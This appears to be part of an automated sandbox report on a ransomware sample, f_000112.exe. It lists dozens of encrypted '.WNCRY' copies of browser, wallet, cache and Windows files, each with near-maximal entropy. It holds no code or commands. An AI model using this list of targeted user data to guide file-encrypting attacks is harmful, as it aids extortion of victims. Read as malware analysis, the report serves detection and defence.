          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_16.db.WNCRY (copy) entropy: 7.99980597239Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_256.db.WNCRY (copy) entropy: 7.99994121492Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_32.db.WNCRY (copy) entropy: 7.99992629Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_48.db.WNCRY (copy) entropy: 7.99991331686Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRY (copy) entropy: 7.996236762Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRY (copy) entropy: 7.99981883797Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRY (copy) entropy: 7.99977748076Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRY (copy) entropy: 7.99983931092Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRY (copy) entropy: 7.99980742155Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRY (copy) entropy: 7.99995438005Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRY (copy) entropy: 7.9968302518Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpndatabase.db.WNCRY (copy) entropy: 7.99984167465Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\18e190413af045db88dfbd29609eb877.db.WNCRY (copy) entropy: 7.99185750145Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRY (copy) entropy: 7.99460896225Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRY (copy) entropy: 7.99989120973Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRY (copy) entropy: 7.99982974607Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRY (copy) entropy: 7.99996574621Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRY (copy) entropy: 7.99946752358Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRY (copy) entropy: 7.99991360734Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRY (copy) entropy: 7.99025328079Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRY (copy) entropy: 7.99983485019Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRY (copy) entropy: 7.99980482801Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRY (copy) entropy: 7.99982187432Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRY (copy) entropy: 7.99771738528Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRY (copy) entropy: 7.99294208946Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRY (copy) entropy: 7.99989195338Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRY (copy) entropy: 7.9999324125Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRY (copy) entropy: 7.99977036343Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRY (copy) entropy: 7.99950569577Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRY (copy) entropy: 7.99901138487Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRY (copy) entropy: 7.99991047054Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRY (copy) entropy: 7.9981571699Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRY (copy) entropy: 7.99833050334Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRY (copy) entropy: 7.99965278262Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRY (copy) entropy: 7.99928673199Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRY (copy) entropy: 7.99747110655Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRY (copy) entropy: 7.99961219602Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRY (copy) entropy: 7.99939966648Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRY (copy) entropy: 7.99967547069Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRY (copy) entropy: 7.99987965383Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRY (copy) entropy: 7.99951164696Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.WNCRY (copy) entropy: 7.99825062911Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRY (copy) entropy: 7.99822583324Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRY (copy) entropy: 7.99736776038Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRY (copy) entropy: 7.99956402558Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRY (copy) entropy: 7.99954179951Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRY (copy) entropy: 7.99631525668Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.99987199429Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.99988517552Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRY (copy) entropy: 7.99108029181Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRY (copy) entropy: 7.99866131333Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRY (copy) entropy: 7.99690980752Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRY (copy) entropy: 7.99103029736Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRY (copy) entropy: 7.99043325525Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRY (copy) entropy: 7.99170075258Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRY (copy) entropy: 7.99743820869Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qoVhSFA2[1].js.WNCRY (copy) entropy: 7.99552800442Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRY (copy) entropy: 7.99509902057Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\microsoft-365-logo-01d5ecd01a[1].png.WNCRY (copy) entropy: 7.99066149925Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRY (copy) entropy: 7.99782986143Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRY (copy) entropy: 7.99504603508Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRY (copy) entropy: 7.99974769469Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\otel-logger-104bffe9378b8041455c[1].js.WNCRY (copy) entropy: 7.99821082456Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-bundle-3a99f64809c6780df035[1].js.WNCRY (copy) entropy: 7.99984836552Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\staticpwascripts-30998bff8f[1].js.WNCRY (copy) entropy: 7.99004377911Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRY (copy) entropy: 7.99860878635Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRY (copy) entropy: 7.9966696445Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRY (copy) entropy: 7.9958056876Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRY (copy) entropy: 7.99561737421Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRY (copy) entropy: 7.99883776785Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js.WNCRY (copy) entropy: 7.99031331592Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRY (copy) entropy: 7.99639203867Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRY (copy) entropy: 7.9998840941Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRY (copy) entropy: 7.99803196969Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRY (copy) entropy: 7.9996193446Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRY (copy) entropy: 7.99776097152Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\LisgCZCwGQ4lRz4go9tlwPslw_k.br[1].js.WNCRY (copy) entropy: 7.99021737353Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRY (copy) entropy: 7.99943627289Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRY (copy) entropy: 7.99843051687Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRY (copy) entropy: 7.99928500934Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRY (copy) entropy: 7.99930838696Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRY (copy) entropy: 7.99912190854Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRY (copy) entropy: 7.99966483621Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\vPBP7RPIJrbNZlhe-HUXYkcDX0A.br[1].js.WNCRY (copy) entropy: 7.99695083304Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRY (copy) entropy: 7.99834529963Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRY (copy) entropy: 7.99890728023Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRY (copy) entropy: 7.99820879258Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRY (copy) entropy: 7.99479507597Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRY (copy) entropy: 7.99020572897Jump to dropped file
